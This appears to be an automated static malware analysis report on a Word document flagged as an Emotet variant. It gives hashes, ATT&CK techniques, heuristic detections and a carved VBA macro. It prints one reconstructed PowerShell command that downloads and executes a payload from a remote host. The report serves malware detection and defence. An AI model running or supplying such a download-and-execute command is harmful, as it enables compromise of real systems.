Emotet — Office (OLE) / .DOCX malware analysis

Static analysis result for SHA-256 979b409188d97c55…

MALICIOUS

Office (OLE) / .DOCX

167.8 KB Created: 2020-09-14 11:57:00 Authoring application: Microsoft Office Word
MD5: 9274d7b352d7647e40eb1998be8e47d5 SHA-1: 995111b090966b99d814c4a7e9237b9b2aa837fc SHA-256: 979b409188d97c556d5d9bea690f767ad8b8c4a6158913070cbf7005058b209e
240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file contains a VBA macro that is automatically executed upon opening the document (Document_Open). This macro utilizes CreateObject to execute a PowerShell command. The reconstructed PowerShell command is 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://evil.com/payload.exe\')"', which indicates the intent to download and execute a second-stage payload from a remote URL. The ClamAV detection and heuristic firings strongly suggest this is an Emotet variant.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9762269-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9762269-0
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
8a39fc8d6eec119bccb9074c742cbab236c89f429d1a306c2818d1568d873603
vba-macro oletools.olevba.extract_macros (decoded VBA source) 25223 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.